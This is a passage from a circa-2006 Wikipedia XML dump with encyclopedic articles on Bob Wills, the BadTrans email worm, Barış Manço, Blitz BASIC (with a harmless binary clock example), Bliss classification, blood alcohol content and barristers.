Wills continued to tour and record through the 1950s into the early 1960s, despite the fact that Western Swing's popularity even in the Southwest, had greatly diminished.  Even a 1958 return to KVOO where his younger brother Johnnie Lee Wills had maintained the family's presence, did not produce the success he hoped.  He kept the band on the road into the 1960s. After two heart attacks, in 1965 he dissolved the Texas Playboys (who briefly continued as an independent unit) to perform solo with house bands.  While he did well in Las Vegas and other areas, and made records for Kapp, he was largely a forgotten figure, though inducted into the Country Music Hall of Fame in 1968.  A 1969 stroke left his right side paralyzed, ending his active career.

Wills's musical legacy, however, endured. His style influenced performers [[Buck Owens]] and [[Merle Haggard]] and helped to spawn a style of music now known as the [[Bakersfield Sound]] (Bakersfield was one of Wills's regular stops in his heyday).  A 1970 [[tribute album]] by Merle Haggard directed a wider audience to Wills's music, as did the appearance of younger &quot;revival&quot; bands like Asleep at the Wheel and the growing popularity of longtime Wills disciple and fan [[Willie Nelson]]. By 1971, Wills recovered sufficiently to travel occasionally and appear at tributes. In 1973 he a final reunion session of members of the Playboys from the 1930s to the 1960s and invited Haggard to take place.  The session, scheduled for two days, took place in  December, 1973, the album to be titled &quot;For the Last Time&quot;.  While Wills appeared on a couple tracks from the first day session, he suffered another stroke overnight, and a more severe one a few days later. His musicians completed the album without him. Wills by then was comatose. He lingered until his death on May 13, 1975.

Bob Wills was inducted into the [[Nashville Songwriters Hall of Fame]] in 1970.

==External links==
*[http://www.texasplayboys.net/ Texas Playboys website]
*[http://nfo.net/usa/weswing.html Western Swing]

[[Category:1905 births|Wills, Bob]]
[[Category:1975 deaths|Wills, Bob]]
[[Category:American bandleaders|Wills, Bob]]
[[Category:American country musicians|Wills, Bob]]
[[Category:American male singers|Wills, Bob]]
[[Category:American songwriters|Wills, Bob]]
[[Category:Bandleaders|Wills, Bob]]
[[Category:Country musicians|Wills, Bob]]
[[Category:People from Texas|Wills, Bob]]
[[Category:Rock and Roll Hall of Fame inductees|Wills, Bob]]

[[de:Bob Wills]]</text>
    </revision>
  </page>
  <page>
    <title>Badtrans (computer worm)</title>
    <id>4834</id>
    <revision>
      <id>41009065</id>
      <timestamp>2006-02-24T13:18:15Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[Yahoo]] to [[Yahoo!]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">'''BadTrans''' is a malicious [[Microsoft Windows]] [[computer worm]] distributed by [[e-mail]]. Because of a known vulnerability in [[Internet Explorer]], some e-mail programs, such as Microsoft's [[Outlook Express]] and [[Outlook]] programs, may install and execute the worm as soon as the e-mail message is viewed.

Once executed, the worm replicates by sending copies of itself to other e-mail addresses found on the host's machine, and installs a [[keystroke logging|keystroke logger]], which then captures everything typed on the affected computer.  Badtrans then transmits the data to one of several e-mail addresses.  
(For more technical details on the worm, see [http://www.cert.org/incident_notes/IN-2001-14.html this.])

Among the e-mail address that receive the keylogs are free addresses at [[Excite]], [[Yahoo!|Yahoo]], and [[IJustGotFired.com]]. IJustGotFired is a free service of [[MonkeyBrains]], a [[San Francisco]]-based [[Internet service provider]].
The target address at IJustGotFired began receiving e-mails at 3:23pm on [[November 24]], [[2001]].  Once the account exceeded its quotas, it was automatically disabled, but the messages were still saved as they arrived.  The address received over 100,000 keylogs in the first day alone.

In mid-December, the [[FBI]] contacted Rudy Rucker, Jr., owner of MonkeyBrains, and requested a copy of the keylogged data. All of that data was stolen from the victims of the worm; it includes no information about the creator of Badtrans.
Instead of complying with the FBI request, MonkeyBrains published a database website http://badtrans.monkeybrains.net for the public to determine if a given address has been compromised.  The database does not reveal the actual passwords or keylogged data.

[[Category:E-mail worms]]</text>
    </revision>
  </page>
  <page>
    <title>Barış Manço</title>
    <id>4836</id>
    <revision>
      <id>40335031</id>
      <timestamp>2006-02-19T22:09:44Z</timestamp>
      <contributor>
        <username>Meddlin' Pedant</username>
        <id>51586</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:manco.jpg|frame|Barış Manço]]

'''Barış Manço''' (also spelled '''Baris Mancho''' in some european album releases) ([[January 2]], [[1943]] - [[January 31]], [[1999]]) was a [[Turkey|Turkish]] singer, composer, television producer and celebrity. He composed about 200 songs, some of which were translated into a variety of languages including [[Greek language|Greek]], [[Bulgarian language|Bulgarian]], [[Romanian language|Romanian]], [[Persian language|Persian]] and [[Arabic language|Arabic]]. He was, and still is, one of the most beloved public figures of Turkey.

==Early life and career==
Manço was born in in [[Istanbul]], [[Turkey]] on [[January 2]], [[1943]]. Her mother Rikkat Uyanık was a famed singer in early [[1940s]]. His older brother who was born during [[World War II]] was named Savaş (&quot;war&quot; in Turkish) and he was named Barış (&quot;peace&quot; in Turkish) by his parents to celebrate the end of the war. Allegedly he was the very first person to have this first name, which is now fairly popular in Turkey.

During his primary school days his head was shaven to prevent [[head lice]], a serious threat back then. He mentioned that it was one of the reasons of his signature long hair.

During his highschool days in [[Galatasaray Lisesi]] he formed his first band '''Kafadarlar''' (&quot;The Buddies&quot;), allegedly upon seeing [[Erkin Koray]] and his band performing which were all students of a nearby highschool. '''Asaf Savaş Akad''', a famed economist in Turkey was the [[saxophone]] player of the band.

In 1962 and 1963, with his next band '''Harmoniler''' (&quot;The Harmonies&quot;), he recorded cover versions of some of the then popular american [[The Twist|twist]] songs, but also rearrangements of turkish folk songs in [[rock and roll]] form, marking the beginning of [[Anatolian rock]] movement, a synthesis of [[Turkish folk music]] and [[rock music|rock]]. In this period, his key visual and musical influence was [[Elvis Presley]].

After being graduated from the highschool in 1963, he moved to Europe, travelling around [[Paris]] and [[Liège (city)|Li&amp;egrave;ge]], where he formed bands with local musicians and recorded some singles mainly in English and in French but also in Turkish. He toured with his band '''Les Mistigris''' (not related with [[Mistigris]]) in [[Germany]], [[Belgium]], [[France]] and [[Turkey]] until 1967.

In 1967, he suffered from a serious car accident after which he started to grow his signature mustache to disguise his scar.

Frustrated by the difficulties of working with musicians from different nationalities, he formed '''Kaygısızlar''' (The Carefrees) featuring [[Mazhar Alanson]] and Fuat Güner, future members of the very popular Turkish band [[MFO]]. He recorded several singles and toured with the band, both in Turkey and abroad, until the band members revealed that they did not want to live abroad.

In 1970, he formed Barış Manço Ve ... (&quot;Barış Manço And ...&quot;) again with foreign musicians, to record his first hit single, both in Turkey and in Belgium, &quot;Dağlar Dağlar&quot;, selling over 700,000 copies. Today the song remains as one of his most popular work.

==1970s==
After the success of &quot;Dağlar Dağlar&quot;, Manço recorded a couple of singles with [[Moğollar]] (The Mongols), another influential Turkish Anatolian rock band. He then decided to return to Turkey where he recorded with the reformed Kaygısızlar for a short period. In 1971, his early works was compiled under his first full length album ''Dünden Bugüne'', today commonly referred as ''Dağlar Dağlar''.

In 1972, he formed [[Kurtalan Ekspres]], a legend by itself, the band that would accompany him until his death. In 1975 until when he continued to release singles, he released his first non-compilation LP ''2023'', a [[concept album]] with strong [[Pink Floyd]] influences that includes many instrumental songs demonstrating Kurtalan Ekspres' impact on the overall Barış Manço sound.

As a last attempt to reach international success, he released the LP titled ''Baris Mancho'' (1976), a strange transcription of his name, mostly with '''George Hayes Orchestra''' under [[CBS Records]] label, in Europe and South Africa. Although the album did not bring the fame he was expecting, it did reach the top of the charts in Romania and Morocco. Next year, the album was released in Turkey under the title ''Nick the Chopper''.

From 1977 to 1980, he released three more albums in Turkey, partly consisting of compilations of older singles, namely ''Sakla Samanı Gelir Zamanı'' (1977), ''Yeni Bir Gün'' (1979) and ''20. Sanat Yılı Disko Manço'' (1980), all following a similar sound with ''2023''. All these albums are now rarity items, but most of the material from the era are available in later compilations ''Ben Bilirim'' and ''Sarı Çizmeli Mehmet Ağa''.

==1980s==
In 1981, Manço released ''Sözüm Meclisten Dışarı'' with Kurtalan Ekspres, containing many hit songs including &quot;Alla Beni Pulla Beni&quot;, &quot;Arkadaşım Eşşek&quot;, &quot;Gülpembe&quot;, &quot;Halhal&quot; and &quot;Dönence&quot; among others. The album remains as one of their most popular works and launched a boost of popularity for Barış Manço during [[1980s]].

&quot;Arkadaşım Eşşek&quot; (&quot;My Friend Donkey&quot;) marked the beginning of the series of songs with a very young audience. Although the song itself, being about rural nostalgia, was not intended for the children, it initiated the artist's association with them. Through out his career, he went on to write similar songs to achieve an iconic acceptance among Turkish children of 1980s and 1990s.

On the other hand &quot;Gülpembe&quot;, composed by Kurtalan Ekspres bassist [[Ahmet Güvenç]], a mourning for Manço's grandmother, caught older audiences and probably is the artist's most popular song, competing perhaps only with &quot;Dağlar Dağlar&quot;.

In 1983, ''Estağfurullah, Ne Haddimize'' was released. It contained hit songs &quot;Halil İbrahim Sofrası&quot; and &quot;Kol Düğmeleri&quot;, a new version of the artist's very first song. &quot;Halil İbrahim Sofrası&quot; examplified Manço's signature moral themed lyrics, a rare feature in Turkish popular music.

In 1985, ''24 Ayar Manço'' which included &quot;Gibi Gibi&quot; and a long conceptual song &quot;Lahburger&quot; was released. It also marked the beginning of the shift in Manço's sound characterized with the heavy use of [[synthesizer|synthesizers]] and [[drum machine]] in contrast with his older works consisting of a group oriented rock based sound. In subsequent years, Manço released ''Değmesin Yağlı Boya'' (1986), ''Sahibinden İhtiyaçtan'' (1988) and ''Darısı Başınıza'' (1989), all containing a couple of hit songs and demonstrating his new sound.

==7'den 77'ye and 1990s==
In 1988, ''7'den 77'ye'', a TV show directed and presented by Manço began to run on [[TRT 1]], the national TV channel of Turkey. It was a combined music, talk show and documentary program which was a major hit during the 8 years it stayed on air. Manço travelled almost 150 countries for the show. &quot;Adam Olacak Çocuk&quot;, a part of the show, strengthened Manço's acceptance among children.

Although his popularity continued mostly due to the TV show, his musical works in 1990s were not well received. The albums ''Mega Manço'' (1992) and ''Müsadenizle Çocuklar'' (1995) were considered as the weakest efforts of his career, despite the limited success of 1992 children hit &quot;Ayı&quot; (The Bear). On the other hand, in 1995 he toured in [[Japan]] with Kurtalan Ekspres, leading to ''Live In Japan'' (1996), his first and only live album. He released two albums in that country with some recognition as &quot;the man who writes songs about vegetables&quot;, referring to &quot;Domates, Biber, Patlıcan&quot; (&quot;Tomato, Pepper, Aubergine&quot;) and &quot;Nane, Limon Kabuğu&quot; (Mint, Lemon Rint), two of his hit songs from 1980s.

On [[January 31]], [[1999]], Barış Manço died of a sudden heart attack before the release of his just finished last work ''Mançoloji'' (1999), a double album containing the new recordings of his hit songs along with an unfinished instrumental song &quot;40. yıl&quot; (&quot;The 40th Anniversary&quot;), celebrating his 40th year in music. His sudden death caused an almost unanimous shock in Turkey with millions of people mourning and tens of thousands of people attending his funeral.

==Legacy==
Barış Manço was one of the most influential Turkish musicians of all times. In his early career he and his bands contributed to the [[Anatolian rock]] movement by combining traditional Turkish music with [[rock music|rock]] influences, which is still one of the main trends of Turkish popular music.

His visual image characterised by his long hair, mustache and big rings softened the reaction of otherwise conservative Turkish public opinion regarding the marginal visual appearances.

His experimentation with electronic instruments in the late [[1980s]] contributed to the [[1990s]] sound of Turkish popular music.

His lyrics with diverse themes, mostly following a somewhat modernized version of the &quot;aşık&quot; (wandering folk poets) tradition were heavily marginal in the popular music scene of 1980s which was mostly dominated by the love themed lyrics.

In 2002, a tribute album was released under the name ''Yüreğimdeki Barış Şarkıları'' (&quot;Barış's Songs In My Heart&quot;, also &quot;Peace Songs In My Heart&quot;) featuring 15 extremely popular Turkish artists of such diverse genres as [[arabesque music|arabesque]], pop and rock (both Anatolian and western style) demonstrating his wide range of influence.</text>
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  <page>
    <title>Blitz BASIC</title>
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      <comment>/* Blitz Basic 2D */</comment>
      <text xml:space="preserve">'''Blitz BASIC''' is a [[BASIC programming language|BASIC]] [[compiler]].  Originally developed on the [[Amiga]], Blitz BASIC compilers are now available on several [[Platform (computing)|platforms]].
The term '''Blitz BASIC''' is often used to refer to the general syntax used in the entire range of Blitz languages, as well as the original product that started them.

== Amiga Languages ==
=== Blitz BASIC ===
The first compiler, originally designed by ''Acid Software'' from New Zealand, was '''Blitz BASIC''' for the Amiga. It competed with [[Europress Software]]'s [[AMOS BASIC programming language|AMOS]]. Both AMOS and Blitz were distinguished from other BASIC implementations by their built-in support for writing [[Computer and video games|computer games]].

=== Blitz BASIC 2 ===
Shortly after thas the original version of ''[[Worms computer games|Worms]]''. And, closely after, the well known pacman.

== PC Languages ==
=== Blitz Basic 2D ===
The first PC version of the Blitz suite of languages was written a while later, using the power of [[DirectX]] for 2D graphics. Blitz Basic goes for around $50.00, which is pretty cheap for a programming IDE/Compiler. Blitz BASIC PC, often known as '''Blitz Basic''', was published under [[Idigicon]] (formerly Guildhall Leisure) and quickly grew in popularity. It is now discontinued from its developers, but still available from Idigicon. It is known for its simple commands, such as &quot;DrawImage&quot; and &quot;PlayMusic&quot;. There is a small population of Blitz Basic programmers located at [http://www.codersworkshop.com CodersWorkshop.com] and [http://www.blitzbasic.com BlitzBasic.com]. Some good programmers in '''Blitz Basic''' include &quot;Cyberseth&quot; and &quot;Krylar&quot;. This language is small, but very powerful.

Recognition of Blitz Basic 2D was boosted dramatically when a limited range of &quot;free&quot; versions were distributed on popular UK computer magazines such as [[PC Format]].

=== Blitz3D ===
Not long after the release of Blitz BASIC PC came the eagerly-anticipated '''Blitz3D''', which allowed the creation of true 3D games, for the first time in the range of languages.  It kept all of Blitz 2D's older commands, and incorporated an entirely new set for the movement and rendering of three-dimensional objects.  Using DirectX7 for 3D game creation, it became a known competitor for the other popular PC game-development language [[Dark Basic]].

It was shortly after this time that ''Acid Software'' became known as ''Blitz Research Limited'' and concentrated on the sole development and promoting of Blitz languages and tools.

=== BlitzPlus ===
As a replacement for Blitz Basic 2D, Blitz Research Limited produced a new title for the range of Blitz products. '''BlitzPlus''' brought new features to the 2D side of the language by allowing some control over [[Microsoft Windows]] forms and gadgets, as well as pulling compatibility of the 2D engine as far back as DirectX 1 with no loss of speed or quality.


== Cross-Platform Languages ==
=== BlitzMAX ===
The latest installment of the Blitz suite of languages is [[BlitzMAX]], a language which supports PC, Linux and Mac installations. BlitzMAX brought the largest change of language structure to the modern range of Blitz products by adding [[object-oriented programming|object-orientation]] concepts and switching the graphics layer to favour OpenGL.

BlitzMAX is also the first truly [[modular programming|modular]] version of the language, allowing complete plugins to be written for the language. This has opened up new possibilities for programmers to configure the language, as well as to purchase improved components from Blitz Research Limited.  Blitz Research is said to be currently working on a [[Game engine|3D engine]] module to implement features common to modern 3D engines and [[Game engine#Middleware|middleware]].

== Blitz Programming Books ==
As well as the reference books that were bundled with the boxed versions of Blitz Basic 2D and Blitz3D, there have been a few programming guides written.

=== Game Programming For Teens ===
'''Game Programming For Teens''' was written by Maneesh Sethi to teach young programmers how to get started writing games with Blitz Basic 2D. It became very popular because of its appealing concept, helping to get new developers quickly into programming.

The second edition of this book was released in May 2005.

=== Learn to Program 2D Games in Blitz Basic ===
Written by John &quot;Krylar&quot; Logsdon, '''Learn to Program 2D Games in Blitz Basic''' was another popular book written to teach new programmers all they need to know to write their own game. It started from the fundamentals of programming and took the reader through every aspect of Blitz Basic 2D, as far as writing their own network game.


==Blitz Basic example code==
The following code creates a normal windowed Windows application that shows the current time in binary and decimal format.

 AppTitle &quot;Binary Clock&quot;
 Graphics 150,80,16,3
  ;Copy, modify and redistribute this source as much as you like
 
  
  ;#####################################################
  ;                      MAIN LOOP
  ;#####################################################
   
  ;create a timer that means the main loop will be executed twice a second
 secondtimer=CreateTimer(2)
 Repeat
 
 	Hour = Left(CurrentTime$(),2)
 	Minute = Mid(CurrentTime$(),4,2)
 	Second = Right(CurrentTime$(),2)
 	
 	If Hour &gt;= 12 Then PM =1
 	If Hour &gt; 12 Then Hour = Hour - 12
 	If Hour = 0 Then Hour = 12
 		
 	;should do this otherwise your PM dot would be left up once the clock rolled past midnight!
 	Cls 
 	
 	Color(0,255,0) ;make the text green for the PM part
 	If PM  = 1 Then Text 5,5,&quot;PM&quot;
 	Color(255,255,255) ;set the text colour back to white for the rest
 	
 	For bit=0 To 5
 		xpos=20*(6-bit)
 		
 		binaryMask=2^bit
 		
 		;do hours
 		If (bit&lt;4)
 			If (hour And binaryMask)
 				Text xpos,5,&quot;1&quot;
 			Else
 				Text xpos,5,&quot;0&quot;
 			EndIf
 		EndIf
 		
 		;do the minutes
 		If (minute And binaryMask)
 			Text xpos,25,&quot;1&quot;
 		Else
 			Text xpos,25,&quot;0&quot;
 		EndIf
 		
 		;do the seconds
 		If (second And binaryMask)
 			Text xpos,45,&quot;1&quot;
 		Else
 			Text xpos,45,&quot;0&quot;
 		EndIf
 	Next
 	
 	Color(255,0,0) ;make the text red for the decimal time
 	Text 5,65,&quot;Decimal: &quot; + CurrentTime$()
 	Color(255,255,255) ;set the text back to white for the rest
 
 	;will wait half a second
 	WaitTimer(secondTimer)
 Forever

==External links==
*[http://www.blitzbasic.com Blitz Research] You can buy and download Blitz3D, Blitz Plus, or BlitzMax from this website.  There are also forums for discussion of the language.
*[http://www.idigicon.com Idigicon]
*[http://www.codersworkshop.com CodersWorkshop] 
**[[Coders Workshop]]
*[http://dmoz.org/Computers/Programming/Languages/BASIC/BlitzBasic/ BlitzBasic on dmoz]
*[http://maneeshsethi.com/gpft.html Game Programming for Teens's Web Site]
*[http://www.codersworkshop.com/viewproduct.php?id=11 Learn to Program 2D Games in Blitz Basic on Codersworkshop.com]
*[http://www.inpac.art-fx.org/bb3dtutII.htm A great german blitz3d tutorial]
*[http://www.amazon.com/exec/obidos/tg/detail/-/1592008348 Game Programming for Teens on Amazon.com]

[[Category:BASIC dialects]]
[[Category:Game creation software]]
[[Category:Amiga software]]
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[[sv:Blitz Basic]]</text>
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  <page>
    <title>Bliss bibliographic classification</title>
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      <text xml:space="preserve">[[Category:Library and information science]]
[[Category:Knowledge representation]]

The '''Bliss bibliographic classification''' (or '''BC''' for short) is a [[library classification]] system that was created by [[Henry E. Bliss]] (1870–1955), published in four volumes between 1940 and 1953. Although originally devised in the [[United States]], it was more commonly adopted by [[United Kingdom|British]] libraries than by American ones. A revised, second edition of this system (BC2) has been developed since 1977 in the United Kingdom.

==Origins of the system==
Bliss was born in New York in 1870, and in 1891 began to work in the [[library]] of the [[College of the City of New York]] (now known as the [[City College of New York|City College]] of the [[City University of New York]]).

Bliss had a lifelong interest in the organization, structure and philosophy of knowledge, and was very critical of the library classification systems that were available to him.  He believed that because the popular [[Library of Congress Classification|Library of Congress system]] had been designed for a specific library (the [[Library of Congress]]), that it had no use as a standard system outside of that library.  He also greatly disliked the [[Dewey Decimal Classification|Dewey Decimal system]].

Bliss wanted a classification system that would provide distinct rules, yet still be adaptable to whatever kind of collection a library might have, since different libraries have different needs.  His solution was the concept of &quot;alternative location&quot;, in which a particular subject matter could be put in more than one place, as long as the library made a specific choice and used it consistently. 

In 1908, Bliss re-classified 60,000 of his library's books, and in 1910 he published an article with a rough scheme of his general ideas.  But as he continued to develop his system, he realized that it was going to be a much larger project than he had originally anticipated.  The first of his four official volumes appeared in 1940 (the year he retired), and the last in 1953, two years before his death.

Some of the philosophies of the BC system were:
*alternative location
*brief, concise notation
*organizing knowledge according to academic expertise
*for subjects to move gradually from topic to topic as they naturally related to one another

==Examples==

&lt;tt&gt;GER&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/tt&gt;Biochemistry of muscles in animals&lt;BR&gt;
&lt;tt&gt;MN&amp;amp;,S&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/tt&gt;History of Finland in the 19th century&lt;BR&gt;
&lt;tt&gt;PWWbca,L&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/tt&gt;The building and equipment of the YWCA in Albany, New York

Bliss deliberately avoided the use of the [[decimal separator|decimal point]] because of his hatred of [[Melvil Dewey|Dewey]]'s system.  Instead he used upper- and lower-case letters, numbers, and every typographical symbol available on his extensive and somewhat eccentric [[typewriter]] (which included both forward and reverse [[Emphasis (typography)|italics]]).

==Adoption and change==

BC was not used by many North American libraries.  The system was not without its flaws (the result of largely being a one-person project), and the layout of Bliss' text was difficult to read.  A few library schools sometimes taught the BC system to their students, but only in a minor way.  The failure of the system to catch on in North America was partially due to its internal deficiencies, but also because the Dewey Decimal and Library of Congress systems were already well-established.

The City College library continued to use Bliss' system until 1967, when they reluctantly switched to the Library of Congress system. It had become too expensive to train new staff to use BC, and too expensive to maintain in general.  Much of the Bliss stacks remain, however, as no one has recatalogued the books.

The case was different, however, in Britain.  BC proved more popular there and spread to other English-speaking allied countries.  Part of the reason for its success was because libraries in [[normal school|teacher's colleges]] liked the way Bliss had organized the subject areas on teaching and education.  By the mid-1950s, BC was being used in at least 60 British libraries, and in 100 by the 1970s.

In 1967, the Bliss Classification Association was formed.  Their first publication was the Abridged Bliss Classification (ABC), intended for school libraries.  In 1977 they began to publish and maintain a much-improved, revised version of Bliss' system, referred to as BC2.

==See also==
*[[Colon classification]]
*[[Dewey Decimal Classification]]
*[[Library of Congress classification]]
*[[Universal Decimal Classification]]

==References==
*Bliss, Henry E. (1910).  A modern classification for libraries, with simple notation, mnemonics, and alternatives. ''Library Journal'' '''35''', 351-358.
*Bliss, Henry E. (1935). ''A system of bibliographic classification''.  New York: H.W. Wilson.
*Bliss, Henry E. (1940-1953). ''A bibliographic classification, extended by systematic auxiliary schedules for composite specification'' (4 volumes).  New York: H.W. Wilson.
*Maltby, Arthur &amp;amp; Gill, Lindy (1979).  ''The case for Bliss''.  London: Clive Bingley. ISBN 0851572901
*Thomas, Alan R. (1997).  Bibliographical classification: the ideas and achievements of Henry E. Bliss.  ''Cataloging &amp; Classification Quarterly'' '''25''' (1), 51-104.

==External links==
*[http://www.sid.cam.ac.uk/bca/bchist.htm Homepage of the Bliss Classification Association and BC2.]

[[Category:Classification systems]]</text>
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  <page>
    <title>Blood alcohol content</title>
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      <minor />
      <comment>/* Legal Limits */</comment>
      <text xml:space="preserve">'''Blood alcohol content''' (or '''blood alcohol concentration'''), often abbreviated '''BAC''', is the concentration of [[ethanol|alcohol]] in [[blood]], measured, by volume, as a percentage. For example, a BAC rating of 0.20 means 1 part per 500 in an individual's blood is alcohol. In many countries, the BAC is measured and reported as milli''grams'' of alcohol per 100 milli''liters'' of blood (mg/100ml).

Number of drinks consumed is a poor measure of intoxication, because of variation according to body weight. One drink ([[unit of alcohol]]) will increase the average person's BAC to roughly 0.04, but there is much variation according to body weight, gender and body fat percentage. Furthermore, neither BAC nor the number of drinks consumed are necessarily accurate indicators of the level of impairment. Individual [[alcohol tolerance]] varies, and can be affected by genetic or nutritional factors, drugs, other degrees of impairment, and long-term heavy drinking.

Alcohol content in blood can be directly measured by a hospital laboratory. More commonly, for law enforcement purposes, BAC is estimated from breath ethanol content measured with a machine commonly referred to as a [[Breathalyzer]] (even though that is just the trademark of one manufacturer of the devices).

==Legal Limits==
For purposes of law enforcement, BAC is used to define intoxication and provides a rough measure of impairment. Although degree of impairment may vary among individuals with the same BAC, the BAC has the advantage of being simpler to measure objectively, and therefore harder to contest, than impairment of driving.

Most countries disallow operation of motor vehicles and heavy machinery at prescribed levels of BAC, which vary both by country and by situation. In [[Sweden]], driving with a BAC rate of over 0.02 is illegal. By contrast, the policies of the [[United States]] have historically been more liberal; however as of 2004, 47 States and the District of Columbia had adopted a BAC of .08. As of 2005, all states in the US have adopted a BAC of 0.08.  In some states, drivers under 21 (the American drinking age) are considered legally impaired at lower levels (a mere trace of about .02) as part of a [[zero tolerance]] policy. 

In [[Australia]], the limit is 0.05 in most states and territories, and either 0.02 or zero for inexperienced drivers (learner drivers or those on probationary licenses).  It is enforced by [[random breath testing]].

The Criminal Code of [[Canada]] makes the driving limit 0.08% nationwide. Also, in most jurisdictions, police and the [[RCMP]] are authorized to suspend drivers' licenses temporarily if they test at lower levels. 

Unless a person has developed a high tolerance, a BAC rating of 0.20 represents very serious intoxication (most first-time drinkers would be passed out by about 0.15), and 0.35 represents potentially fatal alcohol poisoning. 0.40 is the accepted [[LD50]], or lethal dose for 50% of adult humans. For a long-time, heavy drinker, those numbers can at least double. In extreme cases, individuals have survived BAC ratings as high as 0.914, but only with medical attention.

==Metabolism and excretion==
Alcohol is removed from the bloodstream by a combination of [[metabolism]], excretion, and evaporation. The relative proportion disposed of in each way varies from person to person, but typically about 90 to 98% is metabolised, 1 to 3% is excreted in urine, and 1 to 5% evaporates through the breath. A very small proportion (less than 0.5%) is also excreted in the sweat, tears, etc. Excretion into urine typically begins after about 40 minutes, whereas metabolisation commences as soon as the alcohol is absorbed, and even before alcohol levels have risen in the brain. (In fact, in some males, alcohol dehydrogenase levels in the stomach are high enough that some metabolization occurs even ''before'' the alcohol is absorbed.)

Metabolism is mainly by the group of six [[enzyme]]s, collectively called [[alcohol dehydrogenase]]. These convert the ethanol into [[acetaldehyde]] (an intermediate that is actually more toxic than ethanol). The enzyme [[acetaldehyde dehydrogenase]] then converts the acetaldehyde into non-toxic [[acetyl-CoA]].

Many physiologically active materials are removed from the bloodstream (whether by [[metabolism]] or excretion) at a rate proportional to the current concentration, so that they exhibit [[exponential decay]] with a characteristic [[halflife#Half-life in pharmacology and medicine|halflife]] (see [[pharmacokinetics]]). This is not true for alcohol, however. Typical doses of alcohol actually saturate the enzymes' capacity, so that alcohol is removed from the bloodstream at an approximately constant rate. This rate varies considerably between individuals; experienced male drinkers with a high body mass may process up to 30 grams (38 mL) per hour, but a more typical figure is 10 grams (12.7 mL) per hour. Persons below the age of 25, women, persons of certain ethnicities, and persons with liver disease may process alcohol more slowly. Many east Asians (e.g. about half of Japanese) have impaired acetaldehyde dehydrogenase; this causes acetaldehyde levels to peak higher, producing more severe [[hangover|hangovers]] and other effects such as flushing and tachycardia. Conversely, members of certain ethnicities that traditionally did not brew alcoholic beverages, have lower levels of alcohol dehydrogenases and thus &quot;sober up&quot; very slowly, but reach lower aldehyde concentrations and have milder [[hangover|hangovers]]. Rate of detoxification of alcohol can also be slowed by certain drugs which interfere with the action of alcohol dehydrogenases, notably [[aspirin]], [[furfural]] (which may be found in [[fusel oil]]),  fumes of [[trichloroethylene|certain solvents]], many [[heavy metals]], and some [[pyrazole]] compounds. Also suspected of having this effect are [[cimetidine]] ([[Tagamet]]), [[ranitidine]] ([[Zantac]]) and [[acetaminophen]] ([[Tylenol]]).

== Test assumptions ==

Blood alcohol tests assume the individual being tested is average in various ways.  For example, on average the ratio of BAC to breath alcohol content (the &quot;partition ratio&quot;) is 2100 to 1.  However, the actual ratio in any given individual can vary from 1700:1 to 2400:1, or even more widely. Thus a person with a true blood alcohol level of .08 but a partition ratio of 1700:1 would have a .10 reading on a Breathalyzer.

A similar assumption is made in [[urinalysis]].  When urine is analyzed for alcohol, the assumption is that there are 1.3 parts of alcohol in the urine for every 1 part in the blood, even though the actual ratio can vary greatly.

Another example is retrograde extrapolation, in which someone's BAC at the time of driving is found by extrapolating backwards from a later test.  To estimate how much alcohol has been eliminated in the interim between driving and testing, one must know the rate of elimination.  The rate for the average person is .015 percent per hour, although again this can vary.

In addition to the assumptions which affect chemical tests of BAC, there are similar assumptions in field testing. For example, the &quot;horizontal gaze [[nystagmus]]&quot; test estimates the BAC based on at what angle a suspect's eyes begin jerking. The BAC is obtained by subtracting the angle from 50 degrees; jerking at 35 degrees, for example, would mean the suspect has a BAC of .15 percent. Just as with the chemical tests, this is based on the angle for the average person, which doesn't necessarily apply to everyone.

==See also==
*[[alcoholic beverage]]
*[[drunk driving]]

==External links==
*[http://www2.potsdam.edu/hansondj/DrivingIssues/1055505643.html Breath Tester Accuracy]
*[http://www.alcoholcontrols.com/lebaclibyst.html Legal BAC limits by state]


[[Category:Alcohol]]
[[Category:Metabolism]]
[[Category:Alcohol law]]
[[Category:Drunk driving]]</text>
    </revision>
  </page>
  <page>
    <title>Bilateral symmetry</title>
    <id>4846</id>
    <revision>
      <id>33328032</id>
      <timestamp>2005-12-31T02:21:37Z</timestamp>
      <contributor>
        <username>TheLimbicOne</username>
        <id>676614</id>
      </contributor>
      <comment>content merged into target article</comment>
      <text xml:space="preserve">#redirect[[symmetry (biology)]]</text>
    </revision>
  </page>
  <page>
    <title>Barrister</title>
    <id>4848</id>
    <revision>
      <id>42047313</id>
      <timestamp>2006-03-03T12:53:23Z</timestamp>
      <contributor>
        <ip>136.206.1.17</ip>
      </contributor>
      <text xml:space="preserve">A '''barrister''' (&quot;[[advocate]]&quot; in [[Scotland]] and the [[Channel Islands]], &quot;barrister-at-law&quot; in [[Ireland]] and elsewhere) is a [[lawyer]] found in some [[Common law]] [[jurisdictions]] who principally, but not exclusively, represents [[litigants]] as their [[advocate]] before the [[courts]] of that [[jurisdiction]]. In this regard, the profession of barrister corresponds neatly to that part of the role of legal professionals found in the [[civil law]] jurisdictions relating to appearing in [[Trial (law)|trials]] or pleading cases before the courts. However, barristers, as a [[profession]], are also known for specialising in certain areas of the law, and for giving advice in relation thereto to [[clients]] referred to them. 

In the common law tradition, the respective roles of a lawyer - that is as legal adviser and advocate - were formally split into two separate, regulated sub-professions, the other being the office of [[solicitor]]. A parallel is often used with members of the medical profession, in that a [[solicitor]], like a [[general practitioner]] (or doctor of first instance) deals with the simpler cases and employs the aid of a [[barrister]] (or, to continue the metaphor, a [[consultant]]) for more difficult or important issues. This parallel is however inaccurate. A barrister is retained by a practitioner, who acts on behalf of a client, to carry out a required function, such as advocacy or to render a legal opinion. There is no difference in the level of complexity in the practice of law by the different branches of the profession.

Historically, the distinction was absolute, but in the modern legal age, some countries which had a split legal profession are now characterised by having a fused profession. In others, notably in England and Wales, the separation remains clearly evident, but the respective roles of barrister and solicitor are slightly overlapped. And in others, Scotland and Ireland, there is little overlap.

